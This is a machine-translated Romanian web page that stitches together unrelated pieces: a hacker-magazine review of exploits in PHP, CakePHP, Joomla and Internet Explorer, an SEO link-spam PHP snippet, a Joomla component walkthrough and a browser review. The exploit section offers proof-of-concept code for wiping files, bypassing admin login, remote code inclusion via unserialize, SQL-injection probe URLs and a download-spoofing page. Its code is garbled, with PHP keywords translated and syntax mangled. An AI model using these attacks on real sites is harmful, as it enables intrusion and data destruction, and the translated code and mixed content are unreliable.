Internet Windows Android

Linkuri web murdare php. Hack-uri și suplimente

Luna aceasta, cercetătorii de bug-uri nu vor să ne răsfețe cu noi exploit-uri de mare profil în aplicații populare. Desigur, există multe avizuri publicate în produsele companiilor cunoscute, dar foarte puține dintre ele conțin coduri PoC digerabile. În recenzia noastră, am încercat să colectez cele mai semnificative și complete vulnerabilități descrise recent, așa că stați pe loc și vă bucurați de lectură.

Vulnerabilitatea PHP în gestionarea solicitărilor HTTP Head

Scurt

Pe 3 martie, un anume Adam Ivanyuk a descoperit o caracteristică interesantă în interpretul PHP, care nu gestionează corect solicitările HEAD. Cercetătorul a numit această vulnerabilitate „Truc al metodei HTTP HEAD în scripturile php”.

Mulți programatori își dezvoltă scripturile PHP în speranța că toate instrucțiunile scrise în ele vor fi executate cu succes fără a fi întrerupte undeva la mijloc (mai ales în scripturi scurte). Acesta este cazul dacă scriptul este solicitat de utilizatorul final care utilizează metode GET, POSTĂ, PUNE.

Dar ar trebui să știți că există și alte metode HTTP, cum ar fi HEAD. Tocmai atunci când PHP se ocupă de această metodă, poate apărea o gaură de securitate.

Să ne uităm la una dintre sursele interpretului: ./main/SAPI.c, linia 315:

dacă (SG (request_info) .request_method &&
! strcmp (SG (request_info) .request_method, „HEAD”))
{
SG (request_info) .headers_only = 1;
...

Când sosesc orice date, funcția php_ub_body_write este executată. Apoi, uitați-vă la main / output.c, linia 699:

dacă (SG (request_info) .headers_only) (
dacă (SG (headers_sent))
{
returnează 0;
}
php_header (TSRMLS_C);
zend_bailout ();
}

Aici puteți vedea că prima dată când este afișat și este folosită metoda HEAD, funcția zend_bailout anulează scriptul.

Exploata

$ line = „Nick:” .htmlspecialchars
($ _POST [„nick“]). „

Text: „.htmlspecialchars
($ _POST [„text”]). „


";
$ f = fopen ("carte.txt", "r");
$ date = fread ($ f, fi lesize ("book.txt"));
fclose ($ f);
$ f = fopen ("book.txt", "w");
$ date = $ line $ date;
echo $ date;
fwrite ($ f, $ date);
fclose ($ f);
?>

Acum să ne referim la acest script folosind metoda HEAD:

stream_context_get_default
(matrice ("http" => matrice ("metodă" => "HEAD")));
print_r (get_headers ("http://site.com/guestbook.php"));
?>

După cum v-ați putea aștepta, cartea noastră de oaspeți nu se va mai executa la linia „echo $ data;”, astfel încât fișierul book.txt va fi pur și simplu resetat la zero.
Acest exemplu este destul de distructiv. În al doilea exemplu, putem ocoli autorizarea din panoul de administrare primitiv:

sesiune_start ();
echo „Un șir lung conține aproximativ 4090 de caractere”;
$ _SESSION [„admin”] = 1;
dacă (! isset ($ _ POST [„trece”]) ||
$ _POST ["pass"]! = "O parolă")
{
ecou" Parolă greșită sau goală.
";
$ _SESSION ["admin_level"] = 0;
}
?>

În acest script, la introducerea metodelor obișnuite, în sesiune este setată o variabilă administrativă. Apoi, dacă utilizatorul a introdus parola greșită, această variabilă este ștearsă și utilizatorul nu devine administrator.

Dacă accesăm panoul de administrare prin HEAD, execuția acestuia va fi întreruptă la o bucată de cod cu „echo”, deci variabila administrativă nu va fi resetată și ne putem plimba în siguranță prin partea închisă a aplicației. Rețineți că majoritatea serverelor web setează tamponul de ieșire la 4096 de octeți, așa că într-un exemplu de lucru ar putea avea nevoie de șirul „Un șir lung conține aproximativ 4090 de caractere”.

Exploata

  • PHP<= 5.3.5

Soluţie

La momentul acestei revizuiri, cea mai recentă versiune de PHP este versiunea 5.3.5. Nu conține nicio remediere legată de acest bug, așa că vă pot sfătui doar să revizuiți cu atenție sursele scripturilor pentru situații neprevăzute atunci când utilizați metoda HEAD.

Executarea codului arbitrar în CakePHP

Scurt

CakePHP este cel mai faimos (mai mult de 7.000.000 de mențiuni Google) cadru software pentru crearea de aplicații web, scris în PHP și construit pe principiile software-ului open source. CakePHP implementează modelul Model-View-Controller (MVC).

Inițial, acest cadru a fost creat ca o clonă a popularului Ruby on Rails, multe idei au fost împrumutate de acolo:

  • Structura proprie de fișiere;
  • suport pentru multe plugin-uri;
  • abstracția datelor (PEAR :: DB, ADOdb și dezvoltarea proprie a lui Cake);
  • suport pentru multe DBMS (PostgreSQL, MySQL, SQLite, Oracle).

Nu este de mirare că un astfel de produs software remarcabil a atras atenția multor pentesteri. Nu cu mult timp în urmă, o persoană sub porecla felix a găsit în acest cadru un bug interesant legat de metodele magice și de utilizarea funcției de unserialize (citiți mai multe despre această clasă de vulnerabilități în numerele de anul trecut ale revistei).

Mai întâi, deschideți componenta. / Libs / controller / components / security.php și căutați următorul cod care este responsabil pentru protejarea împotriva atacurilor XSRF folosind cereri POST:

funcția _validatePost (& $ controler)
{
...
$ verifica = $ controler-> date;
$ token = urldecode ($ verifica ["_ Token"] ["campuri"]);
if (strpos ($ token, ":")) (
listă ($ token, $ blocat) = explode (":", $ token, 2);
}
$ blocat = unserialize (str_rot13 ($ blocat));
...
?>

Aici, matricea $ check conține datele noastre POST, iar variabila $ blocată este un șir serializat obfuscat folosind funcția str_rot13 (), care este complet sub controlul nostru.

În acest moment, merită să facem o mică digresiune pentru cei care nu au citit articolele corespunzătoare în] [, și să vorbească pe scurt despre bug-ul care se manifestă în magie. metode PHP... Deci, versiunea PHP 5 a introdus conceptul de bază al programării OOP: constructor și destructor. Constructorul este implementat folosind metoda __construct, iar destructorul este implementat folosind metoda __destruct. La sfârșitul lucrării și atunci când este apelat prin funcția unserialize (), fiecare obiect execută propria sa metodă __ destruct, dacă este scrisă în cod.

Acum să ne întoarcem la cadrul nostru și să ne uităm la destructorul clasei App din fișier. / Libs / configure.php:

funcția __distruge ()
{
dacă ($ asta -> __ cache)
{
$ core = App :: miez („tort”);
unset ($ this -> __ căi);
Cache :: scrie ("dir_map", array_fi lter ($ this -> __ paths),
"cake_core");
Cache :: scrie ("fi le_map", array_fi lter ($ this -> __ map),
"cake_core");
Cache :: scrie ("object_map", $ this -> __ objects,
"cake_core");
}
}

Din codul de mai sus, puteți înțelege asta aceasta metoda poate fi compromis prin scrierea unor valori arbitrare în obiectul Cache. Cea mai interesantă cheie de spart este „file_map”. Acesta gestionează conexiunile dintre clase și fișierele PHP corespunzătoare și este, de asemenea, folosit pentru a încărca clase suplimentare în timpul execuției scriptului.

Codul real pentru încărcarea claselor pare puțin mai complicat, dar totul se rezumă la următorul cod din metoda __load din cadrul clasei App:

...
if (fi le_exists ($ fi le)) (
dacă (! $ asta-> întoarcere) (
cere ($ fi le);
$ this -> __ loaded [$ fi le] = true;
}
returnează adevărat;
...
?>

Bingo! Schimbând variabila fișier $, putem include propriul nostru cod PHP! Mai mult, aceasta va fi o adevărată eroare de includere a fișierelor la distanță - astfel, nu vom avea nevoie de alte trucuri cu încărcarea fișierelor locale pe server. Cu toate acestea, autorul vulnerabilității găsite sugerează o exploatare LFI a acestei găuri, deoarece CakePHP utilizează un cache local bazat pe fișiere care este serializat într-un director cunoscut atacatorului.

Exploata

Ca un mic PoC pentru generarea unui șir serializat otrăvitor, Felix sugerează următorul cod:

$ x = aplicație nouă ();
$ x -> __ cache = 1;
$ x -> __ hartă = matrice ("Core" => matrice (
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$ x -> __ căi = matrice ();
$ x -> __ obiecte = matrice ();
ecou serialize ($ x);
?>

Desigur, mai întâi trebuie să includeți clasele necesare de la CakePHP. Există, de asemenea, un exploit Python complet funcțional pe care îl puteți găsi la malloc.im/burnedcake.py.

Acest exploit ar trebui să funcționeze în fiecare aplicație CakePHP care utilizează formulare POST cu jetoane de securitate și nu schimbă locația implicită a cache-ului. Implicit, exploitul afișează configurația bazei de date, alte lucruri utile sunt adăugate cu ușurință prin modificarea încărcăturii PHP încorporate.

Ținte

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Soluţie

Pentru a remedia vulnerabilitatea descrisă, trebuie doar să descărcați cea mai recentă versiune a sucursalei CakePHP pe care o utilizați de pe site-ul producătorului cakephp.org.

Expunerea căii și potențialele injecții SQL în Joomla!

Scurt

Joomla este un sistem de management al conținutului scris în PHP și JavaScript și folosește o bază de date MySQL ca stocare. Este un software gratuit cu licență GNU GPL.

Dacă nu ați întâlnit Joomla! În activitatea dvs. de hacking, atunci pur și simplu locuiți pe o altă planetă :). În această recenzie, vreau să vorbesc dintr-o dată despre două potențiale injecții SQL în diferite ramuri ale Joomla, care au trecut neobservate și neîntorsătate.

Așadar, prima injecție a fost descoperită de băieții de la YGN Ethical Hacker Group (yehg.net/lab) în motorul 1.5.21.

Potrivit cercetătorilor înșiși, potențialele injecții SQL au fost detectate de aceștia în Joomla! 1.5.20 ca parte a unui studiu asupra XSS. Aceste erori au fost imediat raportate echipei de dezvoltare a motoarelor, care a lansat în curând o versiune „pattched” 1.5.21. Cuvântul „pattched” este între ghilimele, deoarece dezvoltatorii au închis ochii la majoritatea echipei de consilieri YEHG și au sperat că aceste vulnerabilități nu au fost pe deplin exploatate de la Joomla! are filtre de șir de securitate încorporate.

Drept urmare, cercetătorii de bug-uri au dezvăluit publicului larg detaliile exploatării potențialelor injecții SQL detectate, pe care, desigur, le vom folosi.
Deci, deschideți fișierul. / Components / com_weblinks / models / category.php și găsiți următorul cod în el:

funcția _buildQuery ()
{
$ fi lter_order = $ this-> getState ("fi lter_order");
$ fi lter_order_dir = $ this-> getState ("fi lter_order_dir");
$ fi lter_order = JFilterInput :: curat ($ fi lter_order, "cmd");
$ fi lter_order_dir =
JFilterInput :: curat ($ fi lter_order_dir, „cuvânt”);
// Trebuie să obținem o listă cu toate
// linkuri web în categoria dată
$ interogare = „SELECT *”.
„DIN #__linkuri web”.
„UNDE catid =". (int) $ this -> _ id.
„ȘI publicat = 1”.
„ȘI arhivat = 0”.
„COMANDAȚI DE”. $ fi lter_order. "".
$ fi lter_order_dir. ", ordonare";
returnează $ interogare;
}

Aici puteți vedea că variabilele $ filter_order și $ filter_order_dir nu sunt verificate pentru respectarea strictă a instrucțiunilor SQL, verificarea se face doar folosind metoda standard curățați din clasa JFilterInput:

...
cazul „CUVENT”:
$ rezultat = (șir) preg_replace ("/ [^ A-Z _] / i", "", $ sursă);
pauză;
...
cazul „CMD”:
$ rezultat = (șir)
preg_replace ("/ [^ A-Z0-9 _.-] / i", "", $ sursă);
$ rezultat = ltrim ($ rezultat, ".");
pauză;
...

Astfel, implicit, obținem dezvăluirea căilor. Un bug similar în aceleași variabile a fost descoperit recent în prima versiune a motorului din noua ramură 1.6.

Exploata

În mod implicit, putem folosi doar extinderea căilor în Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir = & fi lter_order =% 00 ′
  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir = ’& fi lter_order = asc

și în Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order = yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAA limit_Ast = 2 & fi & lter_order = 2
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order = 1, & fi lter_order_Dir = yehg.net.BBBBBBBBBBBB, & limit = 3 & limitstart = 4

Cu toate acestea, cercetătorii de erori sugerează să profitați de aceste erori în instalările deja piratate ale Joomla în contextul rulării motorului: trebuie doar să eliminați filtrele JFilterInput :: curățați din variabilele filter_order_Dir și filter_order, după care puteți utiliza vulnerabilitatea modificată pe termen nelimitat. .

Există, de asemenea, informații conform cărora unii oameni plini de resurse au reușit încă să ocolească aceste filtre notorii, dar exploit-ul este în profund privat.

Ținte

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Soluţie

Ca întotdeauna, nu uitați să actualizați de pe site-ul oficial al dezvoltatorului joomla.org. La momentul scrierii acestei recenzii, cele mai recente versiuni ale acestui CMS erau 1.5.22 și, respectiv, 1.6.0.

Falsificarea barei de adrese în Microsoft Internet Explorer

Scurt

În cele din urmă, vreau să vă povestesc despre un mic și extrem de amuzant bug în IE donkey, care a fost descoperit de un hacker sub porecla cyber flash. Această eroare permite unui utilizator de la distanță să efectueze un atac de falsificare de bază.

Vulnerabilitatea există din cauza unei erori la actualizarea barei de adrese a ferestrei pop-up. Un utilizator la distanță poate folosi o pagină web special creată pentru a forța browserul să afișeze doar o anumită porțiune a adresei în bara de adrese.

Exploata

Ca exemplu cu înlocuirea barei de adrese, autorul însuși oferă următorul cod HTML PoC:


continut = "text / html; set de caractere = windows-1252">

Spoof



Faceți clic oriunde pe această pagină!



Cyber ​​​​flash ne oferă, de asemenea, o pagină gata făcută cu un cod PoC pentru teste la keyloggeronline.com/misc/temp/about.htm.

După ce am intrat în această pagină, vom vedea o inscripție cu un link care ne invită să mergem pe site-ul bing.com. Făcând clic pe link, vom vedea o fereastră pop-up, în bara de adrese căreia va apărea același Bing. Mai jos va fi un alt link care îndeamnă să descărcați noul Internet Explorer (mai mult, trecând peste „Descărcare”, nu vom vedea nimic suspect, deși nu există o versiune nouă a browserului, ci un program pseudo-troian de la Cyber ​​​​Flash).
Astfel, un atacator poate strecura cu ușurință un fișier rău intenționat pe utilizatorul Donkey-ului.

Ținte

  • MS Internet Explorer 7, 8, 9

Soluţie

Momentan, cele soft încă nu au remediat vulnerabilitatea descrisă, așa că dacă utilizați IE, vă sfătuiesc să fiți mai atenți la ferestrele pop-up nefamiliare ca măsură temporară.

Continui să vă împărtășesc scripturi mici, dar foarte utile pentru site, care ajută la îmbunătățirea relației motoarelor de căutare cu site-ul dvs. De data aceasta ne vom concentra pe linkurile competente ale paginilor.

Mai întâi, să creăm o bază de date cu adrese de pagini și posibile ancore pentru fiecare dintre ele. Vom folosi un fișier * .txt ca bază. Structura fișierului va fi astfel:

Page_address_1; anchor_1, anchor_2, anchor_3, ..., anchor_n page_address_2; ​​​​anchor_1, anchor_2, anchor_3, ..., anchor_n page_address_3; anchor_1, anchor_2, anchor_3, ..., anchor_n ... page_address_n, anchor_1_3, anchor_n. .., ancora_n

După cum puteți vedea, utilizarea în continuare a scriptului este posibilă cu orice număr de adrese de pagină și ancore la acestea. Adresa paginii este scrisă fără http://www.site.ru/, adică. direct de la rădăcină fără prima oblică. Adresa este separată de ancore cu punct și virgulă, iar ancorele sunt doar o virgulă. Puteți scrie și adresa completă, doar că este mai convenabil pentru mine personal și puteți modifica singur umplerea și rezultatul, cred că o veți da seama intuitiv.

Și așa, a fost creată baza de link-uri și ancore la acestea, apoi voi da un exemplu de cod PHP pentru afișarea directă a link-urilor pentru link-ul pe site:

". $ tex2 [$ tex3].""; } ?>

Lipim acest cod oriunde pe site, care afișează 5 link-uri aleatorii de la bază și o ancoră aleatoare. Este mai bine să diluați ancorele și să nu scrieți doar 1 pe link. Cu linkuri adecvate pe site, veți observa imediat o creștere a traficului și o îmbunătățire a altor indicatori de site.

Aștept întrebările tale în comentariile la această postare.

Data publicării: 03 martie 2014
    Feedback și comentarii:

    Dmitrii:
    Mulțumesc pentru script, îl voi implementa. Din cod sursa este imposibil de copiat de pe site, este copiat doar în fragmente mici, ar fi mai convenabil în ansamblu.

    Kirill:
    Mulțumesc pentru comentariul cu copiere, abia acum l-am văzut, voi încerca să o repar în viitorul apropiat.

    Alexei Pavlov:
    Eroare la linia $ tex = explode (":", $ sendlist [$ count] Este necesar punct și virgulă, nu două puncte. Am schimbat puțin codul pentru a fi mai clar:$ ancora"; } ?>

    Matrk:
    Articolul este complet inutil, pentru că blogul are protecție împotriva copierii.

    Kirill:
    Există un mic jamb în js, da, nu este timp să-l reparăm, dar probabil altcineva este inutil, deoarece mintea nu este suficientă, în acest caz, uită-te la codul sursă al paginii și ia de acolo

    Matrk:
    Acestea. mai trebuie să urc codul sursă și să-l curăț de orice gunoi? Esti amuzant.

    Kirill:
    Se dovedește că datorez ceva cuiva? Eu ti-am luat banii, incerci tu aici, dai un sfat gratis :))) Branza gratis doar in capcana de soareci, o sa intelegi cu varsta.

    Kirill:
    Am îndepărtat articulația, folosește-o pentru sănătatea ta.

    Andrei Kopaev:
    1 - probabil că este mai bine să faceți acest lucru folosind baza de date mysql, va funcționa mai repede, adăugarea este mai ușoară 2 - Nu înțeleg ce rost are să generez o listă de link-uri de fiecare dată? cum afectează acest lucru creșterea traficului? este posibil să se încarce cu ajax, adică este pentru oameni sau pentru roboți?

    www.site:
    Pentru promovare, însă, personal, nu sunt un susținător al unor astfel de manipulări cu PS.

Punctul de intrare în Joomla! componenta este similară pentru majoritatea componentelor. Pentru acest exemplu vom folosi una dintre componentele de bază ale Joomla - Web Links. Primul fișier care urmează să fie executat pe front-end: … / Componente / com_weblinks / weblinks.php.

În primul rând, vedem o verificare de securitate concepută pentru a ne asigura că nimeni nu poate apela direct această pagină. Acesta este standardul care ar trebui utilizat în toate fișierele dvs. php (deși există câteva excepții):

Verificăm șirul de interogare pentru a vedea dacă a fost trimis un anumit nume de controler. Dacă da, ne asigurăm că putem încărca fișierul necesar în directorul controlerului:

// Solicită un controler specific dacă este solicitat if ($ controller = JRequest :: getWord ("controller")) ($ cale = JPATH_COMPONENT. DS. "controlere". DS. $ controller. ".php"; if (fișier_există ($ cale)) (require_once $ cale; ) else ($ controller = "";))

Acum creăm o instanță a clasei noastre de controler folosind numele pe care l-am definit mai sus:

De îndată ce sarcina este finalizată, facem o redirecționare, dacă este necesar:

// Redirecționare dacă este setată de controler$ controller -> redirecționare ();

Clasa de controler

Controlerul generic pentru componenta link-uri se află aici: … / Componente / com_weblinks / controller.php.
Această întreagă clasă definește o metodă de afișare, care este implicită dacă utilizatorul nu definește o altă sarcină.

definit ("_JEXEC") sau die ("Acces restricționat"); jimport ( „joomla.application.component.controller”) ; / ** * Weblinks Component Controller * * @pachet Joomla * @subpackage Weblinks * @din 1.5 * / clasa WeblinksController extinde JController ( / ** * Metodă de a afișa o vizualizare a linkurilor web * * @access public * @din 1.5 * / afișaj funcție () ( // Setați o vizualizare implicită dacă nu există if (! JRequest :: getCmd ("vizualizare")) (JRequest :: setVar ("vizualizare", "categorii");) // actualizați numărul de accesări pentru link-ul web if (JRequest :: getCmd ("vizualizare") == "weblink") ($ model = & $ this -> getModel ("weblink"); $ model -> hit ();) // Vizualizați logica de stocare în cache - simplu... suntem autentificați?$ utilizator = & JFactory :: getUser (); $ vizualizare = JRequest :: getVar ("vizualizare"); $ viewcache = JRequest :: getVar ("viewcache", "1", "POST", "INT"); if ($ user -> get ("id") || ($ view == "categorie" && $ viewcache == 0)) (parent :: display (fals);) else (parent :: display (true); )))

În această metodă, setăm vizualizarea implicită (vizualizarea): afișarea categoriilor dacă nu a fost trecută nicio altă vizualizare ca parametru șir de interogare. Dacă vizualizarea necesară este weblink, creștem numărul de vizualizări ale linkului. Apoi setăm valoarea variabilei de vizualizare și apelăm metoda de afișare a clasei noastre părinte JController.
Merită să acordați o atenție deosebită apelului la metoda getModel. Acesta descarcă necesarul model pentru componentă... În acest exemplu, această metodă va încărca modelul weblink găsit aici: … / Componente / com_weblinks / modele / weblink.php.
Aici vom fi de acord că nu am solicitat o anumită vizualizare și, prin urmare, vizualizarea noastră va fi setată pe categorii.
Apoi, deschidem clasa de vizualizare.

Vizualizați clasa

Deoarece presupunem că vrem o vizualizare de categorie, acesta este următorul fișier care trebuie executat: … / Componente / com_weblinks / vizualizări / categorii / view.html.php

// Verificați pentru a vă asigura că acest fișier este inclus în Joomla! definit ("_JEXEC") sau die ("Acces restricționat"); jimport ( „joomla.application.component.view”) ; / ** * Clasa HTML View pentru componenta WebLinks * * @static * @package Joomla * @subpackage Weblinks * @din 1.0 * / clasa WeblinksViewCategories extinde JView (afișare funcție ($ tpl = null) ( mainframe global $; $ document = & JFactory :: getDocument (); $ categorii = & $ this -> get ("date"); $ total = & $ this -> get ("total"); $ state = & $ this -> get ("state"); // Obține configurația paginii / componente$ params = & $ mainframe -> getParams (); $ meniuri = & JSite :: getMenu (); $ meniu = $ meniuri -> getActive (); // deoarece aplicația setează un titlu de pagină implicit, trebuie să-l obținem // chiar din elementul de meniu în sine if (is_object ($ meniu)) ($ menu_params = nou JParameter ($ meniu -> parametri); if (! $ menu_params -> get ("page_title")) ($ parametri -> set ("page_title", JText :: _ ("Legături Web"));)) else ($ params -> set ("page_title", JText :: _ ("Web Links"));) $ document -> setTitle ($ params -> get ("page_title") ")); // Setați unele valori implicite dacă nu sunt setate pentru parametri$ params -> def ("comp_description", JText :: _ ("WEBLINKS_DESC")); // Definiți atributele etichetei imaginii if ($ params -> get ("image")! = - 1) (if ($ params -> get ("image_align")! = "") $ attribs ["align"] = $ params -> get (" image_align "); else $ attribs [" align "] =" "; $ attribs [" hspace "] = 6; // Folosiți biblioteca HTML statică pentru a construi eticheta de imagine$ imagine = JHTML :: _ ("imagine", "imagini / povești /". $ params -> get ("imagine"), JText :: _ ("Web Links"), $ attribs); ) pentru ($ i = 0; $ i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->link = JRoute :: _ ( „index.php? opțiune = com_weblinks & view = categorie & id ="... categoria $ -> melc); // Pregătește descrierea categoriei$ categorie -> descriere = JHTML :: _ ("conținut.pregătiți", $ categorie -> descriere); ) $ this -> assignRef ("imagine", $ imagine); $ this -> assignRef ("params", $ params); $ this -> assignRef ("categorii", $ categorii); parinte :: display ($ tpl); ))?>

Din nou, aceasta este o clasă foarte simplă cu o singură metodă de afișare. Cea mai mare parte a logicii de aici este specifică componentelor legăturilor, dar dacă te uiți cu atenție, poți găsi funcționalitate folosită în majoritatea claselor de vizualizare a componentelor. La sfârșitul metodei de afișare, această clasă apelează părintele metoda de afișare (JView). trecând numele șablonului de afișat. Dacă numele șablonului de afișare nu este transmis, se folosește șablonul „implicit”.
În cele din urmă, deschidem clasa șablon.

Clasa șablon

Să fim de acord că nu a fost transmis un anumit nume de șablon, așa că va fi folosit șablonul implicit. În acest caz, se va examina următorul dosar: … / Componente / com_weblinks / vizualizări / categorii / tmpl / default.php
-> escape ($ this -> params -> get ("page_title")); ?>

params -> def ("imagine", - 1)! = - 1) || $ this -> params -> def ("show_comp_description", 1)):?>
imagine)): echo $ this -> image; endif; echo $ this -> params -> get ("comp_description"); ?>
    categorii ca $ categorie):?>
  • escape (categoria $ -> titlu); ?> (legături numerice; ?>)

Cea mai mare parte a logicii de aici este specifică componentei care se execută. De asemenea, puteți vedea din cod că tot HTML din acest fișier este amestecat cu PHP - aceasta este particularitatea sa cu privire la scopul său.

Alte fișiere utilizate în componente

Câteva dintre celelalte tipuri de fișiere pe care le puteți găsi în componente:

  • Helpers - Componentele folosesc adesea un fișier helper.php sau un director helpers cu multe fișiere. Aceste fișiere conțin de obicei doar funcționalitate generală pentru componentă.
  • Assets pare a fi un folder cuprinzător pentru alte fișiere incluse într-o componentă.
  • router.php - acest fișier este folosit, când setarea URL SEF este activată, pentru a traduce URL-ul în ambele direcții (într-unul care poate fi citit de om cu alias-uri și într-o vizualizare de sistem Joomla cu parametri).
  • fișiere xml - de obicei definesc parametrii și alte informații despre o componentă și prezentarea ei de ansamblu. Ele sunt utilizate, de exemplu, la crearea elementelor de meniu componente.
  • index.html este o practică bună să aveți un fișier index.html gol în toate directoarele dvs. Aceasta este o măsură de siguranță pasivă.
  • css / images / js - foldere care conțin diferite fișiere pentru implementarea designului și funcționalității pe partea client (în browser).

Să începem prin a ne uita la componente, uitându-ne la modul în care componenta de bază Weblinks funcționează în zona de administrare a unui site web. Această componentă, tipică acestei părți a site-ului web, este foarte asemănătoare cu celelalte componente ale sale pentru gestionarea articolelor, utilizatorilor, modulelor etc.

Fișierele de program pentru această componentă sunt enumerate mai jos. Toate aceste fișiere sunt în folder administator / componente / com_weblinks... În restul acestui capitol, toate fișierele componente Weblinks sunt denumite în raport cu acest folder de pornire, dacă nu este menționat altfel. Majoritatea fișierelor sunt organizate într-un model MVC. În special, toate fișierele de vizualizare sunt în subfolderul vizualizări și toate fișierele principale de model și controler sunt în subfolderele modele și, respectiv, controlere. De asemenea, acestea sunt completate cu fișiere de instalare, configurare și suport.

Fișiere ale părții administrative a componenteiLink-uri web, altele decât fișierele index.html

  • controllers / weblink.php - Controler principal pentru editare Controler unic weblink
  • controllers / weblinks.php - Controler principal pentru alcătuirea unui Controller și afișarea unei liste de link-uri web pe ecranul Weblinks Manager
  • helpers / weblinks.php - Oferă diverse metode de utilizare în controlere și vizualizări
  • modele / câmpuri / ordering.php - model JformField de afișare a coloanei de ordonare a linkurilor web în ecranul Weblinks Manager
  • modele / formulare / weblink.xml - fișier XML utilizat în clasa Jform-Field Model pentru a marca un formular cu câmpuri de intrare și pentru a edita link-uri web pe ecran
  • modele / weblink.php - Model pentru afișarea unui singur Model al unui link web
  • modele / weblinks.php - Model pentru forma de afișare a dispecerului Model de linkuri web
  • sql / install.mysql.utf8.sql - fișier SQL pentru construirea tabelului de legături web în timpul instalării
  • sql / uninstall.mysql.ut8.sql - fișier SQL pentru a șterge tabelul de linkuri web în timpul instalării
  • tables / weblink.php - Oferă clasa Model
  • views / weblink / tmpl / edit_metadata.php - Fișier de aspect sursă pentru editarea metadatelor linkurilor web

Partea administrativă a componentei Weblinks

  • views / weblink / tmpl / edit_params.php - Fișier de aspect sursă pentru editarea opțiunilor de selectare a unui singur link web
  • views / weblink / tmpl / edit.php - Fișier de aspect sursă pentru editarea unui link web
  • views / view.html.php - Clasa de vizualizare principală pentru redarea unui singur link web în format HTML Fișierul de aspect inițial pentru managerul de linkuri web
  • views / weblinks / view.html.php - Clasa de vizualizare principală pentru afișarea legăturilor web HTML direct pe ecranul Weblinks Manager
  • access.xml - Un fișier XML care oferă o listă de acțiuni pentru sistemul Access Control List (ACL).
  • config.xml - fișier XML care oferă o listă de opțiuni de configurare a componentelor
  • controller.php - Clasa de controler principal
  • weblinks.php - Punct de intrare pentru cerere
  • weblinks.xml - fișier XML folosit pentru a controla procesul de instalare

Browserul YRC Weblink este creat și distribuit de compania indiană de software YRC Group Inc. Și, prin urmare, pagina de pornire implicită este Google indian :))

Programatorii indieni sunt considerați unul dintre cei mai tari din lume (după rusă și chineză :), dar ceva a mers prost cu acest browser, pentru că acesta este doar un fel de vacanță, nu un browser. Ideile pe care au încercat să le implementeze în acest browser sunt grozave, dar implementarea în sine este foarte proastă. Browserul funcționează „prin stump-deck”, adică este ciudat și rău. L-am încercat pe două computere diferite - sub Windows 7 și sub Windows 8 - și acolo și acolo erori și îngheață.

Totuși, să mergem în ordine.

După instalare, browserul oferă să selecteze unele setări (cum, de exemplu, se vede în captura de ecran de mai sus) și, în plus, să creeze un cont pentru sincronizarea în cloud și stocarea setărilor, marcajelor, notele și fișierele.

Buna idee! Apăs pe linkul Înregistrare, care înseamnă „Înregistrare”, se deschide un site cu poze amuzante, dar din anumite motive se deschide nu în YRC Weblink, ci în browserul implicit de pe computer, iar aceasta este prima ciudățenie. O altă ciudățenie este că trebuie să introduceți o mulțime de date - de ce? De exemplu, în browserul Maxthon, pentru a vă înregistra în cloud, trebuie doar să introduceți un email și o parolă, ceea ce este mult mai ușor, mai plăcut și nu ridică întrebări inutile.

Bine, introduc toate aceste date. Primesc o scrisoare de confirmare a contului, dau click pe link, dar site-ul imi spune "Hopa! - Nu gasesc datele tale in baza de date". Dar apoi vine o altă scrisoare cu un link nou, dau clic pe linkul din ea și din nou - Hopa! Cu toate acestea, în procesul acestor hopa, vine o a treia scrisoare și spune - felicitări, contul dvs. este verificat! Acesta este genul de verificare a contului indian.

Îmi deschid browserul, setările, încerc să import marcaje. Browserul nu vede fișierul marcaj al formatului .html, pe care îl văd, îl înțeleg și îl acceptă fără probleme toate browserele pe care le cunosc. Introduc numele fișierului manual, apasă Import și primesc raportul - marcajele au fost importate cu succes!

Dar unde sunt importate cu succes??? Nu sunt în browser sau în cloud. Repet operatia inca o data si acelasi rezultat. Nu face nimic. Trecând peste.

Există un element Note în cloud și setări. Amintindu-mi notele din browserul Maxthon, care pot fi create folosind notepad-ul încorporat și care sunt salvate automat în cloud, încerc să găsesc ceva asemănător în YRC Weblink, din păcate, fără niciun rezultat. Există o vizualizare a notelor, dar nu există un instrument pentru a le crea. Ciudat? Si cum!

Bine. Să vedem ce mai avem. În timpul instalării, browserul a instalat independent (fără a cere) două comenzi rapide pe desktop - o comandă rapidă pentru browser (acest lucru este normal) și o comandă rapidă Twitter.

Făcând clic pe această comandă rapidă, se deschide o fereastră separată de browser cu Twitter. De ce naiba face asta implicit? Poate că nu folosesc Twitter deloc? Bine, am șters comanda rapidă Twitter de pe desktop, dar nu a funcționat! Acum, când dați clic pe comanda rapidă a browserului (nu pe Twitter), în bara de activități, browserul este evidențiat de Twitter! Nu am întâlnit niciodată în viața mea o astfel de problemă festivă!

Apropo, despre aceste trei ferestre pe care le vedeți în captura de ecran de mai sus. Fereastra de setări Rezumat se blochează de fiecare dată. Și astfel încât să poată fi tăiat doar prin dezactivarea procesului din Task Manager, în alt mod - nimic. Și puteți închide fereastra de sincronizare numai prin deconectarea din sistem.

Dacă faceți clic pe „Nu”, fereastra se va deschide în mod constant. În ciuda faptului că browserul în sine, dimpotrivă, se oprește spontan din când în când. Și ce este amuzant: browserul se oprește, dar fereastra Rezumat înghețată și fereastra de Sincronizare deschisă nu și se blochează nesupravegheate, abandonate de browser, până când le dezactivați în Task Manager. Defecțiuni feerice!

Cu toate acestea, ar fi greșit să nu enumerați și aspecte pozitive ale browserului.

În primul rând, există modul de navigare anonim. Activați acest mod în setări și browserul nu folosește cache, cookie-uri, nu înregistrează istoricul vizitelor. Există browsere care funcționează numai în acest mod, de exemplu, Browzar, care uneori este necesar, dar în general este extrem de incomod. Iar capacitatea de a conecta sau deconecta rapid un astfel de mod este un mare plus pentru browser.

În al doilea rând, YRC Weblink are opțiunea de a selecta un motor de căutare implicit. Cu toate acestea, trebuie să alegeți dintr-o listă destul de specifică:

Cu toate acestea, adresa motorului de căutare poate fi setată și manual făcând clic pe butonul Define New (nu este vizibilă în captură de ecran, este sub listă).

